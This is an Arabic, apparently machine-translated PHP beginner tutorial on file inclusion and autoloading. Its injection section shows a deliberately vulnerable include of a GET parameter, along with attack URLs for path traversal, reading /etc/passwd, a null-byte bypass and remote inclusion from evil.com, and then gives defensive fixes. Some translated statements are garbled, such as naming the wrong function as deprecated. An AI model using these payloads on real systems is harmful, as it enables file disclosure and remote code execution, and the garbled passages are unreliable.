PHP للمبتدئين. اتصال الملف

الصورة


في استمرار لسلسلة PHP للمبتدئين ، ستركز مقالة اليوم على كيفية قيام PHP بالبحث عن الملفات وتوصيلها.

لماذا ولماذا


PHP هي لغة نصية تم إنشاؤها في البداية للنحت السريع للصفحات الرئيسية (نعم ، نعم كانت في الأصل أدوات P ersonal H ome P Age) ، وبعد ذلك بدأت في إنشاء متاجر وبرامج اجتماعية وغيرها من الحرف اليدوية على ركبتها والتي تتجاوز ما كان مقصودًا ولكن لماذا أنا - وحقيقة أنه كلما تم تشفير المزيد من الوظائف ، زادت الرغبة في بنائها بشكل صحيح ، والتخلص من ازدواجية التعليمات البرمجية ، وتقسيمها إلى أجزاء منطقية والاتصال فقط عند الضرورة (هذا هو نفس الشعور الذي كان لديك عندما قرأته من قبل الموقف ، يمكن تقسيمها إلى قطع منفصلة). لهذا الغرض ، يشتمل PHP على العديد من الوظائف ، المعنى العام لها هو توصيل الملف المحدد وتفسيره. دعونا نلقي نظرة على مثال لربط الملفات:

// file variable.php $a = 0; // file increment.php $a++; // file index.php include ('variable.php'); include ('increment.php'); include ('increment.php'); echo $a; 

إذا قمت بتشغيل البرنامج النصي index.php ، فسيقوم PHP بالاتصال وتنفيذ كل هذا بالتسلسل:

 $a = 0; $a++; $a++; echo $a; //  2 

عندما يكون الملف متصلاً ، يكون الكود الخاص به في نفس نطاق السطر الذي كان متصلاً به ، وبالتالي فإن جميع المتغيرات المتاحة في هذا السطر ستكون متاحة في الملف المضمن. إذا تم الإعلان عن الفئات أو الوظائف في ملف التضمين ، فستقع في النطاق العام (ما لم يتم تحديد مساحة اسم لهم بالطبع).

إذا قمت بتوصيل الملف داخل الوظيفة ، فستتمكن الملفات المضمنة من الوصول إلى نطاق الوظيفة ، وبالتالي ستعمل التعليمة البرمجية التالية:

 function() { $a = 0; include ('increment.php'); include ('increment.php'); echo $a; } a(); //  2 

بشكل منفصل ، ألاحظ الثوابت السحرية : __DIR__ و __FILE__ و __LINE__ وغيرها - مرتبطة بسياق ويتم تنفيذها قبل حدوث التضمين
إن خصوصية توصيل الملفات هي أنه عند توصيل ملف ما ، يوزع التحليل على وضع HTML ، ولهذا السبب يجب وضع أي كود داخل الملف المرفق في علامات PHP:

 <?php //   // ... // ?> 

إذا كان لديك رمز PHP فقط في الملف ، فمن المعتاد حذف علامة الإغلاق ، حتى لا تنسى عن غير قصد أي خيط من الأحرف بعد علامة الإغلاق ، وهو محفوف بالمشاكل (سأناقش هذا في المقالة التالية).
هل شاهدت ملف موقع يحتوي على 10000 سطر؟ بالفعل الدموع في عيني (╥_╥) ...

ميزات اتصال الملف


كما ذكر أعلاه ، في PHP هناك العديد من الوظائف لربط الملفات:

  • قم بتضمين - تضمين وتنفيذ الملف المحدد ، إذا لم يعثر عليه - فإنه يعطي تنبيهًا E_WARNING
  • include_once - يشبه الوظيفة أعلاه ، ولكنه يتضمن الملف مرة واحدة
  • يتطلب - يتضمن وينفذ الملف المحدد ، إذا لم يعثر عليه - فإنه يعطي خطأ فادح E_ERROR
  • require_once - يشبه الوظيفة أعلاه ، ولكنه يتضمن الملف مرة واحدة

في الواقع ، هذه ليست وظائف بالضبط ، فهي بنيات لغوية خاصة ، ويمكن حذف الأقواس. من بين أشياء أخرى ، هناك طرق أخرى لتوصيل الملفات وتنفيذها ، ولكن حفرها بنفسك ، فليكن "مهمة ذات علامة نجمية بالنسبة لك ؛)
لنأخذ مثالًا عن الاختلافات بين require و require_once ، خذ ملف echo.php واحدًا:

 <p>text of file echo.php</p> 

وسوف نقوم بتوصيله عدة مرات:

 <?php //     //  1 require_once 'echo.php'; //    , ..   //  true require_once 'echo.php'; //     //  1 require 'echo.php'; 

ستكون نتيجة التنفيذ اتصالين بملف echo.php :

 <p>text of file echo.php</p> <p>text of file echo.php</p> 

هناك بضعة توجيهات أخرى تؤثر على الاتصال ، لكنك لن تحتاج إليها - auto_prepend_file و auto_append_file . تتيح لك هذه التوجيهات تثبيت الملفات التي سيتم توصيلها قبل توصيل جميع الملفات وبعد تنفيذ جميع البرامج النصية ، على التوالي. لا يمكنني حتى أن أتوصل إلى سيناريو "مباشر" عندما يكون مطلوبًا.

المهمة
يمكنك الخروج وتنفيذ برنامج نصي لاستخدام auto_append_file و auto_append_file ، يمكنك فقط تغييرها في php.ini أو .htaccess أو httpd.conf (انظر PHP_INI_PERDIR ) :)

أين تبحث؟


يبحث PHP عن ملفات التضمين في الدلائل المحددة في توجيه include_path . يؤثر هذا التوجيه أيضًا على تشغيل fopen() و file() و readfile() و file_get_contents() . الخوارزمية بسيطة للغاية - عند البحث عن الملفات ، يتناوب PHP على التحقق من كل دليل من include_path ، حتى يعثر على ملف للاتصال ، وإذا لم يحدث ذلك ، فإنه يُرجع خطأً. لتغيير include_path من برنامج نصي ، استخدم الدالة set_include_path () .

هناك شيء واحد مهم يجب مراعاته عند إعداد include_path - يتم استخدام أحرف مختلفة كفاصل مسار في نظامي التشغيل Windows و Linux - "؛" و ":" على التوالي ، لذلك عند تحديد الدليل الخاص بك ، استخدم ثابت PATH_SEPARATOR ، على سبيل المثال:

 //    linux $path = '/home/dev/library'; //    windows $path = 'c:\Users\Dev\Library'; //  linux  windows   include_path  set_include_path(get_include_path() . PATH_SEPARATOR . $path); 

عندما تكتب include_path في ملف ini ، يمكنك استخدام متغيرات البيئة مثل ${USER} :

include_path = ".:${USER}/my-php-library"


إذا قمت بتضمين مسار مطلق (يبدأ بـ "/") أو قريب (يبدأ بـ "." أو "..") عند توصيل الملف ، فسيتم تجاهل توجيه include_path ، وسيتم إجراء البحث فقط على المسار المحدد.
ربما يكون من المفيد الحديث عن safe_mode ، لكن هذه كانت قصة طويلة (منذ الإصدار 5.4) ، وآمل ألا تواجهها ، ولكن إذا فجأة ، فيمكنك معرفة ما كانت عليه ، لكنها مرت ...

باستخدام العودة


سوف أخبركم باختراق صغير للحياة - إذا كان الملف المضمن يُرجع شيئًا ما باستخدام بنية return ، فيمكن الحصول على هذه البيانات واستخدامها ، حتى تتمكن من تنظيم اتصال ملفات التكوين بسهولة ، وسأقدم مثالاً للتوضيح:

 return [ 'host' => 'localhost', 'user' => 'root', 'pass' => '' ]; 

 $dbConfig = require 'config/db.php'; var_dump($dbConfig); /* array( 'host' => 'localhost', 'user' => 'root', 'pass' => '' ) */ 

حقائق مثيرة للاهتمام ، والتي بدونها كانت جيدة أيضًا: إذا تم تحديد الوظائف في الملف المضمّن ، فيمكن استخدامها في الملف الرئيسي ، بصرف النظر عما إذا كانت قد أعلنت قبل الإرجاع أم بعده
المهمة
كتابة التعليمات البرمجية التي ستجمع التكوين من عدة مجلدات وملفات. بنية الملف كما يلي:

 config |-- default | |-- db.php | |-- debug.php | |-- language.php | `-- template.php |-- development | `-- db.php `-- production |-- db.php `-- language.php 

في هذه الحالة ، يجب أن يعمل الرمز كما يلي:

  • إذا كان هناك متغير PROJECT_PHP_SERVER في بيئة النظام وكان مساوياً development ، فيجب أن تكون جميع الملفات من المجلد الافتراضي متصلة ، ويجب أن يتم تضمين البيانات في المتغير $config ، ثم يجب أن تكون الملفات من مجلد التطوير متصلة ، وينبغي أن البيانات المستلمة طحن العناصر المقابلة المخزنة في $config
  • سلوك مشابه إذا كان PROJECT_PHP_SERVER هو production (بشكل طبيعي فقط لمجلد الإنتاج )
  • إذا لم يكن هناك متغير ، أو تم تعيينه بشكل غير صحيح ، عندئذٍ فقط يتم توصيل الملفات من المجلد الافتراضي


ربط السيارات


تبدو الإنشاءات التي تحتوي على مرفقات الملفات ضخمة جدًا ، كما تتبع التحديث الخاص بها - هدية أخرى ، تحقق من جزء من التعليمات البرمجية من مثال المقالة حول الاستثناءات :

 // load all files w/out autoloader require_once 'Education/Command/AbstractCommand.php'; require_once 'Education/CommandManager.php'; require_once 'Education/Exception/EducationException.php'; require_once 'Education/Exception/CommandManagerException.php'; require_once 'Education/Exception/IllegalCommandException.php'; require_once 'Education/RequestHelper.php'; require_once 'Education/Front.php'; 

كانت المحاولة الأولى لتجنب مثل هذه "السعادة" هي ظهور وظيفة __autoload . بتعبير أدق ، لم تكن حتى وظيفة محددة ، بل كان عليك تحديد هذه الوظيفة بنفسك ، وتحتاج معها لتوصيل الملفات التي نحتاجها بواسطة اسم الفصل. كانت القاعدة الوحيدة هي أنه لكل فئة يجب إنشاء ملف منفصل باسم الفئة (أي يجب أن تكون myClass داخل ملف myClass.php ). فيما يلي مثال على تنفيذ هذه الوظيفة __autoload() (مأخوذة من التعليقات على الدليل الرسمي):

الصف الذي سنتصل به:

 //  myClass    myClass.php class myClass { public function __construct() { echo "myClass init'ed successfuly!!!"; } } 

الملف الذي يربط هذه الفئة:

 //   //     include_path function __autoload($classname) { $filename = $classname .".php"; include_once $filename; } //   $obj = new myClass(); 

الآن حول مشاكل هذه الوظيفة - تخيل موقفًا تقوم فيه بتوصيل رمز الطرف الثالث ، وهناك شخص ما سجل بالفعل وظيفة __autoload() ، وفويلا:

 Fatal error: Cannot redeclare __autoload() 

لتجنب هذا الأمر ، أنشأنا وظيفة تسمح لك بتسجيل وظيفة أو طريقة تعسفية كمحمل فصل دراسي - spl_autoload_register . أي يمكننا إنشاء العديد من الوظائف باسم تعسفي لفئات التحميل ، وتسجيلها باستخدام spl_autoload_register . الآن index.php سيبدو index.php :

 //   //     include_path function myAutoload($classname) { $filename = $classname .".php"; include_once($filename); } //   spl_autoload_register('myAutoload'); //   $obj = new myClass(); 

العنوان "هل تعلم؟": المعلمة الأولى spl_autoload_register() اختيارية ، واستدعاء الوظيفة بدونها ، سيتم استخدام الدالة spl_autoload كمحمل ، وسيتم إجراء البحث على مجلدات من include_path وملفات ذات ملحق .php و .inc ، ولكن هذا يمكن توسيع القائمة باستخدام دالة spl_autoload_extensions
الآن يمكن لكل مطور تسجيل محمله ، والشيء الرئيسي هو أن أسماء الفصول لا تتطابق ، لكن هذا لا ينبغي أن يكون مشكلة إذا كنت تستخدم مساحات الأسماء.
نظرًا لوجود وظيفة متقدمة مثل spl_autoload_register() لفترة طويلة ، فقد تم بالفعل الإعلان عن spl_autoload_register() وظيفة spl_autoload_register() في PHP 7.1 ، مما يعني أنه ستتم إزالة هذه الوظيفة بالكامل في المستقبل المنظور (X_x)
حسنًا ، تم مسح الصورة بشكل أو بآخر ، على الرغم من مهلا ، يتم وضع جميع برامج تحميل الأجهزة المسجلة في قائمة الانتظار أثناء تسجيلها ، على التوالي ، إذا قام شخص ما بخداعه في أداة تحميل الإقلاع الخاصة به ، ثم بدلاً من النتيجة المتوقعة ، ستظهر مشكلة غير سارة للغاية. لمنع هذا ، قام الرجال الأذكياء البالغون بوصف معيار يسمح لك بالاتصال بمكتبات الجهات الخارجية دون مشاكل ، والشيء الرئيسي هو أن تنظيم الفصول داخلها يتوافق مع معيار PSR-0 (كان عمره بالفعل 10 سنوات) أو PSR-4 . ما هو جوهر المتطلبات الموضحة في المعايير:

  1. يجب أن تعيش كل مكتبة في مساحة الاسم الخاصة بها (ما يسمى بمساحة اسم البائع)
  2. يجب أن يكون لكل مساحة اسم مجلد خاص به.
  3. داخل مساحة الاسم قد تكون هناك مسافات فرعية - أيضا في مجلدات منفصلة
  4. فئة واحدة - ملف واحد
  5. يجب أن يطابق اسم الملف بالملحق .php اسم الفئة تمامًا

مثال من الدليل:
اسم فئة كاملةمساحة الاسمالدليل الأساسيالطريق الكامل
\ Acme \ Log \ Writer \ File_WriterAcme \ Log \ Writer./acme-log-writer/lib/./acme-log-writer/lib/File_Writer.php
\ النسمة \ الويب \ الاستجابة \ الحالةهالة \ الويب/ المسار / إلى / aura-web / src //path/to/aura-web/src/Response/Status.php
\ سيمفوني \ كور \ طلبسيمفوني \ الأساسية./vendor/Symfony/Core/./vendor/Symfony/Core/Request.php
\ Zend \ Aclزيند/ usr / ويشمل / Zend //usr/includes/Zend/Acl.php


الاختلافات بين هذين المعيارين هي أن PSR-0 تدعم الشفرة القديمة بدون مساحة اسم (أي قبل الإصدار 5.3.0) ، وأن PSR-4 خالية من هذا المفارقة التاريخية ، وحتى تتجنب تداخل المجلدات غير الضروري.

بفضل هذه المعايير ، أصبح من الممكن ظهور أداة مثل الملحن - مدير حزمة عالمي لـ PHP. إذا فات شخص ما ، فهناك تقرير جيد من pronskiy حول هذه الأداة.


حقن php


أردت أيضًا أن أتحدث عن الخطأ الأول لكل من يصنع نقطة دخول واحدة للموقع في index.php واحد ويطلق عليه إطار عمل MVC:

 <?php $page = $_GET['page'] ?? die('Wrong filename'); if (!is_file($page)) { die('Wrong filename'); } include $page; 

نظرتم إلى الكود ، وتريد فقط نقل شيء ضار هناك:

 //     http://domain.com/index.php?page=../index.php //      http://domain.com/index.php?page=config.ini //    http://domain.com/index.php?page=/etc/passwd //  ,       http://domain.com/index.php?page=user/backdoor.php 

أول ما يتبادر إلى الذهن هو إضافة ملحق .php بالقوة ، ولكن في بعض الحالات يمكن التحايل عليه "بفضل" ثغرة صفر بايت (اقرأ تم إصلاح هذه الثغرة الأمنية لفترة طويلة ، ولكن فجأة صادفت مترجمًا أقدم من PHP 5.3 ، أيضًا ، من أجل التنمية العامة يوصي أيضا):

 //    http://domain.com/index.php?page=/etc/passwd%00 

في الإصدارات الحديثة من PHP ، يؤدي وجود حرف صفر بايت في مسار الملف المتصل على الفور إلى حدوث خطأ في الاتصال المقابل ، وحتى إذا كان الملف المحدد موجودًا ويمكن توصيله ، فستكون النتيجة دائمًا خطأ ، يتم التحقق منها على النحو التالي strlen(Z_STRVAL_P(inc_filename)) != Z_STRLEN_P(inc_filename) (هذا من أحشاء PHP نفسها)
الفكر الثاني "المجدي" هو التحقق من وجود ملف في الدليل الحالي:

 <?php $page = $_GET['page'] ?? die('Wrong filename'); if (strpos(realpath($page), __DIR__) !== 0) { die('Wrong path to file'); } include $page . '.php'; 

التعديل الثالث ، وليس الأخير ، هو التحقق من استخدام الأمر open_basedir ، بمساعدته يمكنك تحديد الدليل الذي سيقوم PHP بالبحث فيه عن ملفات للاتصال:

 <?php $page = $_GET['page'] ?? die('Wrong filename'); ini_set('open_basedir', __DIR__); include $page . '.php'; 

كن حذرًا ، لا يؤثر هذا التوجيه على اتصال الملفات فحسب ، بل يؤثر أيضًا على نظام الملفات ، أي بما في ذلك هذا التقييد ، يجب أن تكون متأكدًا من أنك لم تنسَ أي شيء خارج الدليل المحدد ، move_uploaded_file() تستمر البيانات المخزنة مؤقتًا أو أي ملفات مستخدم (على الرغم من أن الوظيفتين is_uploaded_file() و move_uploaded_file() في العمل مع مجلد مؤقت للملفات التي تم تنزيلها).
ما الشيكات الأخرى الممكنة؟ الكثير من الخيارات ، كل هذا يتوقف على بنية التطبيق الخاص بك.

أردت أيضًا أن أتذكر وجود التوجيه "الرائع" allow_url_include (يعتمد على allow_url_fopen ) ، فهو يسمح لك بالاتصال وتنفيذ ملفات PHP عن بعد ، وهو أمر أكثر خطورة على الخادم لديك:

 //   PHP  http://domain.com/index.php?page=http://evil.com/index.php 

المنشار ، تذكر ، ولا تستخدم أبدًا ، يتم إيقاف الفائدة بشكل افتراضي. ستحتاج إلى هذه الميزة أقل قليلاً من ذي قبل ؛ في جميع الحالات الأخرى ، ضع بنية التطبيق الصحيحة ، حيث تتصل أجزاء مختلفة من التطبيق من خلال واجهة برمجة التطبيقات.

المهمة
اكتب نصًا يتيح لك توصيل برامج php النصية من المجلد الحالي بالاسم ، مع تذكر نقاط الضعف المحتملة وتجنب الأخطاء.

في الختام


هذه المقالة هي الأساس في PHP ، لذا عليك أن تدرس بعناية ، وأنجز المهام بالكامل ولا تقدم أي ملف ، ولن يعلمك أحد.

PS


هذا هو repost من سلسلة من المقالات "PHP للمبتدئين":


إذا كانت لديك تعليقات على مادة المقالة ، أو ربما في شكل ، فقم بوصف الجوهر في التعليقات ، وسوف نجعل هذه المادة أفضل.

Source: https://habr.com/ru/post/ar439618/


All Articles